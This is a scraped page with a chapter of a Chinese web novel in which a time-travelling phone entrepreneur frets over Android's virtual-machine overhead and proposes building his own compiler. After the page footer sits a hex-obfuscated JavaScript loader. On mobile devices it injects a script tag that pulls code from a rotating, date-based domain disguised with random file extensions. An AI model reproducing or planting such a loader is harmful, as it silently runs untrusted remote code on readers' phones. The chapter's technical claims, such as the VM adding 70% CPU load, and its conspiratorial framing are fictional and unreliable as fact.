返回第一百六十七章 安卓系统的问题  无上宗.QD首页

关灯 护眼     字体:

上一章 目录 下一章

自从三星、HTC宣布加入安卓阵营之后,安卓就成为了苹果IOS之外的主流。

究其原因,第一个是安卓系统的确有其优越性,第二则是如今的IT底层架构所有的技术,基本上都来自于美西方,第三则是犹撒国不会允许有其它的操作系统能够崛起。

桌面操作系统微软霸占了全球,移动端操作系统也必须是由犹撒国的操作系统占据。

苹果IOS是封闭的,霸占不了,所以安卓趁势而上。

否则,以三星、HTC的体量,特别是三星,真没必要捧安卓的臭脚。但没办法,三星自己都被犹撒国控制,根本没有发言权。

至于诺基亚塞班以及其它一些操作系统,全部去死好了。

现在的人看到苹果IOS和安卓系统开始流行,大有一统天下的趋势,只看到表面他们的那点技术,但杨帆从2024年回来,从下游回来,他看得到这背后的暗战,压根不是技术的问题。譬如诺基亚的塞班系统,其实并不差。

基于安卓开发操作系统,一切的底层架构都在安卓手上,采用安卓的手机厂商都是在安卓的架构上修修补补,虽然自主性还是有点,但其实并不多。

以前杨帆不懂这些,现在他对于这套系统的认识并不比专业的操作系统开发人员低了,他这时才了解了为什么安卓不如IOS流畅。

主要在于安卓需要运行虚拟机!

安卓是基于java开发的,主打一个便于开发,但它并不会将代码直接编译成机器语言,程序运行时相当一部分代码还需要通过手机上的虚拟机临时同步翻译,这就造成安卓程序“边解释边执行”,效率非常低下。

反观苹果IOS,是基于Objective-C语言,它不需要虚拟机。

杨帆参与开发的过程中发现,光是虚拟机的运行,手机CPU就要多承担70%以上的负荷,难怪早期的安卓机对比苹果IOS系统被秒成了渣。

手机CPU的处理能力被大量占据了,系统能流畅才怪!

杨帆也知道了,难怪后来安卓机越高端的越流畅,到了后来低端机也越来越流畅,并不比IOS差,那是因为后来的手机CPU性能严重过剩。芯片太强了,处理能力太强了,运行多一点虚拟机并不影响了,所以流畅度就上来了。

不过,知道归知道,但这是安卓的底层架构问题,改了也就不是安卓了,而是新的一套系统了。

新系统?

Emmmm……

这个问题就太庞大了,华能时代现在的体量太小,根本不足以支持。

更重要的是,系统不是开发出来了就可以了,还得需要全世界的厂商一起来搞才行,需要从软件、硬件两个方面一起做配套才行。

很多人只知道软件要匹配系统,需要各个软件企业基于操作系统开发他们的软件版本,但其实硬件也是需要的。

因为硬件是基于现在的一整套IT底层架构开发出来的,全世界的硬件只能识别目前的底层架构并被调用,换另外一套系统,系统无法识别硬件,代码错误,更别提调用了。

“所以,还是得软件、硬件一起走。”

杨帆感到了极大的压力,随即就把目光看向了某为:“在这个方面,还真是绕不过某为啊!”

某为是以通信技术起家的,无论是专利还是技术、经验,现阶段虽然不显山不漏水,但其实绝大部分领域已经绕不开它了。

基础领域做起来的大牛,真不是盖的,上面浮着的一大票终端厂商,都是依赖于基础而存在。

对于杨帆的这个令他感到郁闷的难题,他手底下的软件负责人魏金有些难以理解,因为在魏金看来,这根本不是问题,安卓就是这样的啊,别人都没问题,怎么到老板你这就有问题了?

“老板,粗粮厂的系统我看就很不错啊,流畅性挺好的,我们能达到粗粮厂系统基本一致的程度,我认为就可以了~”

再一次的样机系统测试之后,魏金有些不以为然的和杨帆说道。

在软件部门这边,主要是手机的整体性能,特别是操作系统。同时,还要和其他家比较,目前就两家,一家是苹果,一家是粗粮厂。

魏金看到了苹果IOS的表现,比他们开发的系统要好得多,但对比粗粮厂的系统,他觉得并不差,基本一致了。

这种情况,他认为就足够了。

粗粮厂的系统可是经过了全球数百万技术人才的检验和认可的,这如果有问题那粗粮厂不得死啊?

正低着头看样机、苹果机、加装粗粮厂系统的样机,三部工程机演示动画的杨帆斜睨了他一眼,摇了摇头道:“基本一致就是不行!魏总,我的要求可是以苹果机为参考,不是以粗粮厂为参考。”

魏金:“……”

好家伙,你原来不是说说而已,你来真的?

杨帆的确说过以苹果机为参考,但他潜意识里认为杨帆说这话不过是说说而已,给他们以压力,实际上达不到也没关系。毕竟,在任何一个公司,当上位者说以某某为参考时,其实是默认公司的产品最终会不如某某的,底下的人也清楚这个潜意识。

更重要的,是苹果系统独步天下,目前没有哪一家能做到和苹果系统一样,所以他潜意识里就认为杨帆说的“以苹果机为参考”是做不到的。

现在工程机测试下来,杨帆话一说,他才突然意识到,好嘛,竟然是来真的。

但是,这怎么可能?

杨帆没有理他,一边继续盯着工程机看,一边说道:“再说了,我们手机的配置和结构也都是参照苹果来的,用的是全贴合电容屏,系统当然也得追上来,不然硬件合格,系统拉跨,我们这款手机就会失败!”

张了张嘴想要说话的魏金没话说了。

他作为核心人员,自然是知道华能时代两款手机的配置和结构的,的的确确是参照苹果来的。不说别的,光是成本这一块,已经堆得很高了,秒杀他以前参与过的任何一款手机机型。

如他所料不差的话,成本应该比苹果的成本还要高!

硬件如此昂贵,系统如果拉垮,那公司的这两款手机的的确确会凉。

魏金:“我们继续调试……”

杨帆没等他说完,忽然打断道:“魏总,有没有一种可能,我们自己编写一款编译器,从底层上改变安卓边解释边执行的低效率问题?”

魏金:“???”

什么情况?

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");